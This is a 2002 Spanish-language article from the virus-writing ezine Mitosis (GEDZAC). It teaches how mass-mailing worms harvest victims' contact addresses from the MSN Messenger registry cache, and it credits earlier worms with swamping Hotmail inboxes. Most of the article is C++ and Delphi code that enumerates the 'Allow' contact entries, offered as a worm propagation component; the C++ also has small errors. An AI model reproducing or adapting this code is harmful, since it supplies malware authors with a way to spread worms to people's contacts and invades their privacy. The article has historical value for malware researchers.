Copy Link
Add to Bookmark
Report

Gedzac Mitosis Ezine Issue 01 009

eZine's profile picture
Published in 
Mitosis
 · 4 years ago

  

(C) MITOSIS #1 E-Zine/GEDZAC 2002


Tema : MSN Messenger y la propagacion masiva
Autor : XpLOaD
Válido para : Compiladores C++ para Windows y Delphi.

--------------------------------------------------------------------------------------------

> INTRODUCCIÓN
************

El email ha jugado un papel muy importante en el desarrollo de virus, mismos que han utilizado este recurso al máximo para lograr una mayor propagación y provocar grandes pérdidas económicas. Para lograr ésto, el programador se ha valido de ingeniosas técnicas para la obtención de direcciones de correo electrónico de posibles víctimas, tales como las direcciones almacenadas en la libreta de direcciones de OUTLOOK (catalogada como la más famosa) o la obtención de ellas, desde los servidores de noticias, a partir de la lectura de la cabecera de las noticias insertadas por los usuarios, pero una técnica de mas reciente creación y que ha demostrado su alto grado de efectividad al colocar a los virus dotados de esta técnica en los primeros lugares de detección, es la extracción de las direcciones de correo de cada uno de los contactos de las víctimas que poseen el MSN Messenger. Esta última técnica mencionada es de la que se hará mención en el presente artículo.

> UN POCO DE HISTORIA
*******************

La presente técnica, fue originalmente implementada por primera vez, por ErGrone en su virus I-Worm.Kitro, mismo que fue una de las primeras pruebas de que la técnica era capaz de llenar los buzones de hotmail en tan solo unas cuantas semanas, a esta creación le siguieron más virus del mismo ErGrone y otros ajenos a él, algunos de ellos son el Blink, el Supova y el Bandera Negra.

Pero el virus que realmente vino a constatar la eficacia de la técnica, fue I-Worm.Duni (Otra creación del autor de la técnica), mismo que a pesar de su gran tamaño, fue capaz de paralizar la entrada de correo electrónico de muchos usuarios de hotmail, al llenar el buzón, en tan sólo unas cuantas horas. La gran propagación que tuvo este virus, originó su puesta In The Wild y mostrando asi al mundo entero, la efectividad de la técnica.

> LA TEORÍA
*********

Para poder llevar a cabo la implementación de esta técnica, debemos saber algunos datos básicos para la obtención de las direcciones de correo. MSN Messenger, para evitar la descarga de contactos desde internet, cada vez que se inicia sesión, el programa guarda los contactos e información de los mismos en el registro de windows, todos ellos se encuentran en la siguiente ruta:

[HKEY_CURRENT_USER\Software\Microsoft\MessengerService\ListCache\.NET Messenger Service]

Dentro de esta dirección se encuentran definidas las direcciones de correo con un nombre formado por la palabra Allow, Contact o Reverse más el numero el contacto. El valor asignado del email, se encuentra definido como una cadena hexadecimal.

> LA IMPLEMENTACIÓN
*****************

Para llevar a cabo la implementación, hemos elegido hacerlo en lenguaje c y en delphi, para implementar esta técnica en cualquier otro lenguaje de programación, podrás hacerlo con simplemente modificar ligeramente cualquiera de los dos códigos. Para un lenguaje con soporte de las APIS de Windows, podrás implementar la técnica, siguiendo el mismo procedimiento aplicado en el codigo en c++.

Implementación en C++:

/*---------------------INICIO DEL CÓDIGO-------------------*/

/*Desarrollamos una función que nos regrese en una estructura,
el nombre y el email del contacto*/


#include <windows.h>
#inlcude <stdlib.h>

#define MAX_EMAILS 1000 //Numero máximo de emails a obtener

LONG OpenResource;
HKEY DirResource;

int FindContactsMSN(char *ListMails[MAX_EMAILS]); //Prototipo de la función

//El parámetro ListMails deve ser un puntero a un arreglo char de [MAX_EMAILS]

int FindContactsMSN(char *ListMails[MAX_EMAILS])
{
int i;

//Comprobamos si esta instalado MSN Messenger, para ésto verificamos
//si existe la ruta donde se almacenan los datos de los contactos.

OpenResource = RegOpenKeyEx(HKEY_CURRENT_USER,
"Software\\Microsoft\\MessengerService\\ListCache\\.NET Messenger Service",
0, KEY_READ,
&DirResource);

if(OpenResource == ERROR_SUCCESS)
{
DWORD ValueType;
DWORD ValueSize;
BYTE *DataValue;
char tmpEmail[10];
char tmpNMails[5];
int nMails = 0;

//Mediante un bucle obtenemos todos los datos de los contactos
//que esten disponibles

while(nMails < MAX_EMAILS)
{

//Formamos la cadena correspondiente para la lectura
//del siguiente contacto

strcpy(tmpEmail, "Allow");
itoa(nMails, tmpNMails, 10);
strcat(tmpEmail, tmpNMails);

//Obtenemos la longitud de los datos a leer

if(RegQueryValueEx( DirResource,
tmpEmail,
NULL,
&ValueType,
NULL,
&ValueSize) == ERROR_SUCCESS)
{

//Reservamos memoria nesesaria para almacenar los datos

DataValue = new BYTE [ValueSize];

if(DataValue != NULL)
{
//Leemos la información del contacto

RegQueryValueEx( DirResource,
tmpEmail,
NULL,
&ValueType,
DataValue,
&ValueSize);


i = strlen((char *)DataValue);
ListMails[nMails] = new char [i+1];
strcpy(ListMails[nMails], (char *)DataValue);
}

delete [] DataValue;
}
nMails++;
}
}
return 0;

}
/*---------------------FIN DEL CÓDIGO-------------------*/

Ejemplo de uso de la función anterior:

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
char *xp[MAX_EMAILS];

//El arreglo xp recibe una lista de todos los emails de los contactos encontrados
FindContactsMSN(xp);

return 0;
}

Implementación en Delphi:

function LeerReg(LaKey: HKEY; Rutakey, Valor: String): String;
var
ValorRet: array[0..1500] of Char;
TamaDato: Integer;
llaveactual: HKEY;
begin
RegOpenKeyEx(LaKey, PChar(Rutakey), 0, KEY_ALL_ACCESS, llaveactual);
TamaDato := 1501;
RegQueryValueEx(llaveactual, PChar(Valor), nil, nil, @ValorRet[0], @TamaDato);
RegCloseKey(llaveactual);
Result := String(ValorRet);
end;

function uncontacto:integer;
var
direcc:string;
begin
direcc := leerreg(HKEY_CURRENT_USER,'Software\Microsoft\MessengerService\ListCache\.NET Messenger Service','allow1');
end;



Nota: En las versiones de Messenger mas recientes la ruta del registro donde se encuntran almacenados los contactos es: HKEY_CURRENT_USER\Software\Microsoft\MSNMessenger\ListCache\.NET Messenger Service





(C) MITOSIS E-Zine/GEDZAC 2002

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT